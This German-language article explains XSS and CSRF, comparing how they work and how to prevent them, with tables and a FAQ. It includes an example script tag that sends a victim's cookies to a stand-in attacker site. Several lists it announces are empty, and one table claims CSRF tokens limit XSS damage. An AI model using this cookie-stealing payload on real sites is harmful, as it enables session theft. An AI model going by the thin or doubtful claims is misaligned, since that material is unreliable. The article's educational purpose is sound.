Was ist XSS?
Cross-Site Scripting ist in der IT-Sicherheitswelt als XSS bekannt. Es handelt sich dabei um eine spezifische Art von Schwachstelle, die in den Systemen von Web-Applikationen auftritt. Diese Schwachstelle ermöglicht es Angreifern, bösartige Skripte in Webseiten einzuschleusen. Wenn andere Nutzer diese kompromittierten Webseiten besuchen, wird der bösartige Code in ihrer Browsersitzung ausgeführt. Infolgedessen können wichtige Benutzerinformationen wie Passwörter, Session-Cookies oder persönliche Daten in den Händen der Angreifer landen.
Man unterscheidet prinzipiell drei Arten von XSS-Attacken: persistente, nicht-persistente und DOM-basierte Angriffe.
Persistente XSS-Attacken: Bei dieser Art sichert sich der Angreifer einen permanenten Platz auf den Servern des angegriffenen Systems. Durch das Besuchen der manipulierten Seite wird der schädliche Code in deren Browsersitzung ausgeführt. Ein typisches Beispiel ist ein mit Schadcode gespickter Kommentar auf einer Webseite.
Nicht-persistente XSS-Attacken: In diesem Fall übermittelt der Angreifer dem Opfer den Schadcode über eine manipulierte URL. Ein Klick auf diese URL führt dann zur Ausführung des Codes. Solche Angriffe findet man oft in Phishing-Mails oder auf betrügerischen Webseiten.
DOM-basierte XSS-Attacken: Hier integriert der Angreifer den Schadcode direkt ins Document Object Model (DOM) der Webseite. Der Code wird aktiviert, wenn das Opfer mit der manipulierten Webseite interagiert.
Das Grundprinzip eines XSS-Angriffs ist wie folgt:
Ein einfacher JavaScript-Code, der in ein Kommentarfeld einer Webseite eingegeben wird, könnte beispielsweise so aussehen:
<script>document.location='https://www.hackerseite.de/cookie_dieb.php?cookie='+document.cookie</script>
Ruft ein anderer Nutzer die Seite mit diesem Kommentar auf, wird der Schadcode und damit die Cookies des Benutzers an den Hacker geschickt.
Es gibt mehrere Präventionsmaßnahmen, die einen vor XSS-Attacken schützen können:
Zusammengefasst stellen XSS-Attacken eine erhebliche Gefahr für die Sicherheit von Webapplikationen dar. Sich der Risiken bewusst zu sein und präventive Maßnahmen zu treffen ist daher unabdingbar.
Cross-Site Request Forgery, oder CSRF, ist jene Bedrohungsform, die Täuschungen in Webapplikationen möglich macht, indem Attacker unter einer gültigen Identität von Nutzern agieren. Insbesondere verkleiden sie sich under einer gültigen Nutzer-Identität und führen unerwünschte Aktionen durch - diese könnten auch das Absenden von Formularen unbemerkt vom rechtmäßigen Nutzer beinhalten.
Die Wirksamkeit von CSRF beruht auf der Annahme, dass Internetapplikationen ihre Nutzeranfragen akzeptieren, wenn diese schon vorher authentifiziert wurden, ohne nachzuprüfen, ob die Anfrage von ebendiesem authentifizierten Nutzer stammt. Der Angreifer könnte mithilfe eines bereitgestellten Links eine Anfrage erstellen, die als gültig erachtet und von der Bank des Nutzers durchgeführt wird.
Um eine konkrete Vorstellung von CSRF-Angriffen zu bekommen: Stellen Sie sich vor, ein Nutzer ist auf einer Webseite angemeldet, die ihm gestattet, seine Emailadresse zu verändern. Hier könnte der Angreifer einen manipulierten Link kreieren, der beim Anklicken eine Änderungsanfrage an diese Webseite sendet. Ist der Nutzer noch angemeldet, nimmt die Webseite diese Anfrage als authentisch an und ändert die Emailadresse.
Um sich gegen CSRF abzusichern, gibt es unterschiedliche Strategien. Ein häufig angewendeter Schutz besteht darin, CSRF-Token zu nutzen. Dabei handelt es sich um zufällig generierte Strings, die jeglicher Serveranfrage beigefügt werden und dann seitens des Servers überprüft werden. Bei Fehlen des Tokens oder bei Unstimmigkeiten mit dem prognostizierten Wert, wird diese Anfrage umgehend abgewiesen.
Eine zusätzliche Präventionsmethode sind das Setzen des SameSite-Attributs in Cookies. Ist dieses Attribut auf "Strict" gesetzt, werden Cookies lediglich bei Anfragen innerhalb derselben Webseite versendet, somit Untergräbt man die Möglichkeiten für CSRF-Attacken.
Die Gefahr, die durch CSRF ausgeht für Webapplikationen, kann als massiv bezeichnet werden. Folglich liegt es im Interesse jedes Entwicklers, sich mit dieser Thematik auseinanderzusetzen und notwendige Sicherheitsmaßnahmen zu etablieren, um seine Applikationen und deren Nutzer zu schützen.
Cross-Site Scripting (XSS) und Cross-Site Request Forgery (CSRF) sind zwei weit verbreitete Sicherheitslücken in Webanwendungen. Obwohl sie ähnlich klingen, sind sie grundlegend verschieden in ihrer Funktionsweise und den potenziellen Schäden, die sie verursachen können.
XSS ermöglicht es einem Angreifer, schädlichen Code in eine Webanwendung einzufügen, der dann von einem anderen Benutzer ausgeführt wird. Dies geschieht typischerweise durch die Manipulation von Eingabefeldern, um JavaScript-Code einzufügen, der dann vom Browser des Opfers ausgeführt wird. Die Auswirkungen können von einfachen Unannehmlichkeiten bis hin zu schwerwiegenden Datenschutzverletzungen reichen.
CSRF hingegen trickst den Benutzer aus, indem er ihn dazu bringt, eine Anfrage an eine Webanwendung zu senden, ohne dass er sich dessen bewusst ist. Dies geschieht typischerweise durch das Einbetten einer URL in eine E-Mail oder eine andere Website, die dann eine Aktion auf der Zielwebsite auslöst, wenn der Benutzer darauf klickt. Die Auswirkungen können von unerwünschten Änderungen an Benutzereinstellungen bis hin zu unberechtigten Transaktionen reichen.
Ein wesentlicher Unterschied zwischen XSS und CSRF besteht darin, wie sie ausgenutzt werden. Bei XSS muss der Angreifer in der Lage sein, seinen schädlichen Code in die Webanwendung einzufügen, während bei CSRF der Angreifer den Benutzer dazu bringen muss, eine Anfrage zu senden.
Die Prävention von XSS und CSRF erfordert unterschiedliche Ansätze. XSS kann durch die ordnungsgemäße Validierung und Desinfektion von Benutzereingaben verhindert werden, um sicherzustellen, dass kein schädlicher Code ausgeführt wird. CSRF kann durch die Verwendung von Anti-CSRF-Token verhindert werden, die sicherstellen, dass jede Anfrage vom Benutzer authentifiziert wurde.
| XSS | CSRF | |
|---|---|---|
| Funktionsweise | Schädlicher Code wird in die Webanwendung eingefügt und vom Browser des Benutzers ausgeführt | Der Benutzer wird dazu gebracht, eine Anfrage an eine Webanwendung zu senden, ohne dass er sich dessen bewusst ist |
| Ausnutzung | Der Angreifer muss seinen Code in die Webanwendung einfügen | Der Angreifer muss den Benutzer dazu bringen, eine Anfrage zu senden |
| Prävention | Validierung und Desinfektion von Benutzereingaben | Verwendung von Anti-CSRF-Token |
Zusammenfassend lässt sich sagen, dass XSS und CSRF zwei verschiedene Arten von Sicherheitslücken sind, die unterschiedliche Ansätze zur Ausnutzung und Prävention erfordern. Es ist wichtig, sich sowohl der Unterschiede als auch der Gemeinsamkeiten bewusst zu sein, um effektive Sicherheitsmaßnahmen zu ergreifen.
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Cross-Site-Request-Forgery (CSRF) Tokens sind ein wirksames Mittel, um CSRF-Angriffe zu verhindern. Sie funktionieren, indem sie eine zufällige Zeichenfolge generieren, die an jede Clientanfrage angehängt wird. Der Server überprüft dann, ob das Token gültig ist, bevor er die Anfrage bearbeitet. Aber können diese Tokens auch Cross-Site-Scripting (XSS) Angriffe verhindern?
CSRF-Tokens sind speziell entwickelt, um CSRF-Angriffe zu verhindern. Sie tun dies, indem sie sicherstellen, dass jede Anfrage, die an den Server gesendet wird, tatsächlich vom Benutzer und nicht von einem Angreifer stammt. Dies wird erreicht, indem ein einzigartiges Token generiert wird, das nur der Benutzer und der Server kennen. Wenn eine Anfrage ohne dieses Token oder mit einem ungültigen Token gesendet wird, wird sie vom Server abgelehnt.
Im Gegensatz zu CSRF-Angriffen zielen XSS-Angriffe darauf ab, schädlichen Code in Webseiten einzufügen, die dann von anderen Benutzern ausgeführt werden. Dies wird oft erreicht, indem Benutzereingaben manipuliert oder gefälschte Links erstellt werden.
CSRF-Tokens können XSS-Angriffe nicht direkt verhindern, da sie nicht darauf ausgelegt sind, schädlichen Code zu erkennen oder zu blockieren. Sie können jedoch dazu beitragen, die Auswirkungen eines erfolgreichen XSS-Angriffs zu begrenzen.
Wenn ein Angreifer beispielsweise in der Lage ist, einen XSS-Angriff durchzuführen und schädlichen Code in eine Webseite einzufügen, könnte er versuchen, CSRF-Angriffe gegen die Benutzer dieser Webseite durchzuführen. Wenn jedoch CSRF-Tokens verwendet werden, wäre der Angreifer nicht in der Lage, gültige Anfragen an den Server zu senden, da er das benötigte Token nicht kennen würde.
Obwohl CSRF-Tokens nicht direkt dazu dienen, XSS-Angriffe zu verhindern, können sie dazu beitragen, die Auswirkungen solcher Angriffe zu begrenzen. Sie sind jedoch nur ein Teil einer umfassenden Sicherheitsstrategie und sollten in Kombination mit anderen Sicherheitsmaßnahmen wie Content Security Policy, sicheren Cookies und korrekter Datenvalidierung verwendet werden.
| CSRF-Tokens | XSS-Angriffe |
|---|---|
| Generieren einzigartige Tokens für jede Anfrage | Fügen schädlichen Code in Webseiten ein |
| Verhindern CSRF-Angriffe | Können durch CSRF-Tokens nicht direkt verhindert werden |
| Begrenzen die Auswirkungen von XSS-Angriffen | Können durch CSRF-Tokens nicht direkt verhindert werden |
Es ist wichtig zu beachten, dass keine Sicherheitsmaßnahme allein ausreicht, um eine Webseite vollständig zu schützen. Es ist immer am besten, eine Kombination von Sicherheitsmaßnahmen zu verwenden, um das Risiko eines erfolgreichen Angriffs zu minimieren.
Der Vergleich von Cross-Site Scripting (XSS) und Cross-Site Request Forgery (CSRF) lässt sich in einer Komparativmatrix darstellen.
| XSS | CSRF |
|---|---|
| XSS ist eine Cyber-Attacke, in der der Cyber-Kriminelle bösartigen Code auf eine Webseite legt, welcher wiederum im Webbrowser des Ziels ausgeführt wird. | Im Falle eines CSRF-Angriffs konstruiert der Cyber-Kriminelle eine Anforderung, die vom Webbrowser des Ziels als legitime Aktion interpretiert wird. |
| XSS | CSRF |
|---|---|
| Ein XSS-Angriff zielt darauf ab, sich die Kontrolle über das Benutzerkonto zu verschaffen oder Informationsdiebstahl zu betreiben. | Ein CSRF-Angriff bezweckt Aktionen in der Identität des Benutzers auszuführen, während dieser unwissend bleibt. |
| XSS | CSRF |
|---|---|
| Um XSS-Gefahren abzuwehren, müssen Betreiber von Webseiten gewährleisten, dass Nutzereingaben ausnahmslos bereinigt und überprüft werden. | Gegen CSRF-Angriffe kann man vorgehen, indem man CSRF-Token nutzt, welche garantieren, dass alle Anforderungen tatsächlich vom Nutzer stammen. |
| XSS | CSRF |
|---|---|
| Sollte ein XSS-Angriff gelingen, kann der Cyber-Kriminelle Zugang zum Benutzerkonto erhalten und persönliche Informationen entwenden. | Wenn ein CSRF-Angriff erfolgreich ist, kann der Cyber-Kriminelle Handlungen im Namen des Benutzers durchführen – Passworte können verändert oder sogar Transaktionen getätigt werden. |
Es ist essentiell zu verstehen, dass sowohl XSS als auch CSRF massive Sicherheitsrisiken darstellen und Betreiber von Webseiten sollten ultimative Vorkehrungen treffen, um ihre Nutzer gegen diese Attacken zu schützen.
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In folgendem Abschnitt wird ein vertiefter Einblick in die Sicherheitsthemen CSRF und XSS angeboten, indem auf häufig aufkommende Fragen eingegangen wird.
CSRF und XSS stellen beide erhebliche Gefahren für die Systemsicherheit dar, doch ihre Einflüsse variieren. Wird durch XSS persönliche Benutzerdaten abgegriffen, kann CSRF dazu führen, dass Benutzer unerwünschte Aktionen auf einer Webseite durchführen; der spezifische Kontext und die Absicht des Angreifers entscheiden daher über die potentielle Gefahr eines Angriffs.
Die gute Nachricht ist, dass es mehrere Sicherheitsverfahren gibt, um sich gegen CSRF und XSS zu wappnen: Über CSRF-Tokens, Eingabeüberprüfungen, HTTP-Only-Cookies und das Hinzufügen von Content-Security-Policies.
Ein CSRF-Token ist ein zufälliger String, der bei jeder Anfrage an den Server gesendet wird. Dieser überprüft die Gültigkeit des Tokens, um sicherzugehen, dass die Anfrage legitim ist – ein effektives Werkzeug gegen CSRF-Angriffe, da der Token dem Angreifer unbekannt bleibt.
Ein CSRF-Token allein bietet keinen Schutz gegen XSS. Jedoch kann man sich vor XSS-Angriffen schützen, indem man Benutzereingaben validiert, diese säubert und HTTP-Only-Cookies verwendet.
Bei reflektiertem XSS wird ein bösartiges Skript in die URL eingefügt und dann quasi "gespiegelt" vom Server auf die Webseite geladen. Gespeichertes XSS hingegen speichert das bösartige Skript dauerhaft auf dem Server und wird jedes Mal aktiv, wenn die Webseite aufgerufen wird.
Während sowohl bei CSRF als auch bei Clickjacking Benutzer zu unerwünschten Aktionen verleitet werden, machen sich die beiden Angriffsformen verschiedene Mechanismen zu Nutze: Bei CSRF wird dem Benutzer eine verdeckte Anfrage an den Server untergeschoben, während bei Clickjacking der User durch Täuschung zum Klicken bewegt wird.
Obwohl sowohl XSS als auch SQL-Injection darauf abzielen, schädlichen Code auszuführen, passiert das an verschiedenen Stellen: Bei einem XSS-Angriff wird der Code auf der Benutzerseite ausgeführt, wohingegen bei einer SQL-Injection der Code direkt auf dem Server ausgeführt wird.
CSRF und Session Hijacking versuchen beide, die Kontrolle über eine Benutzersitzung zu erlangen. Bei CSRF verschickt der unbedarfte Benutzer eine Anfrage ans System, ohne es zu bemerken; bei Session Hijacking hingegen wird die Sitzungs-ID des Benutzers entwendet und anschließend von dem Angreifer zum Zugriff auf das System genutzt.
Um die Unterschiede zwischen CSRF und XSS vollständig zu verstehen, ist es hilfreich, auf eine Reihe von Ressourcen zurückzugreifen. Hier sind einige Referenzen, die bei der Vertiefung dieses Themas hilfreich sein können:
OWASP (Open Web Application Security Project). Dies ist eine Online-Community, die Artikel, Methodologien, Dokumentation, Tools und Technologien im Bereich der Webanwendungssicherheit bereitstellt. Insbesondere die OWASP Top 10 ist eine regelmäßig aktualisierte Publikation, die die zehn häufigsten Sicherheitsrisiken für Webanwendungen auflistet. Sowohl CSRF als auch XSS sind in dieser Liste enthalten.
Sicherheitsblogs und -foren. Es gibt viele Blogs und Foren, die sich auf Cybersicherheit konzentrieren und regelmäßig Artikel und Diskussionen zu Themen wie CSRF und XSS veröffentlichen. Einige davon sind:
Fachbücher und -artikel. Es gibt eine Vielzahl von Büchern und Artikeln, die sich mit Webanwendungssicherheit befassen. Einige davon sind:
Online-Kurse und -Tutorials. Es gibt viele Online-Ressourcen, die Kurse und Tutorials zur Webanwendungssicherheit anbieten. Einige davon sind:
Offizielle Dokumentationen und Spezifikationen. Diese können technischer Natur sein, aber sie bieten die genauesten und aktuellsten Informationen zu Sicherheitsstandards und -praktiken.
Diese Ressourcen bieten eine Fülle von Informationen, die Ihnen helfen können, die Unterschiede zwischen CSRF und XSS zu verstehen und wie Sie sich vor diesen Bedrohungen schützen können. Es ist wichtig, sich daran zu erinnern, dass die Sicherheit von Webanwendungen ein sich ständig weiterentwickelndes Feld ist und dass es wichtig ist, auf dem Laufenden zu bleiben, um die neuesten Bedrohungen und Abwehrstrategien zu verstehen.
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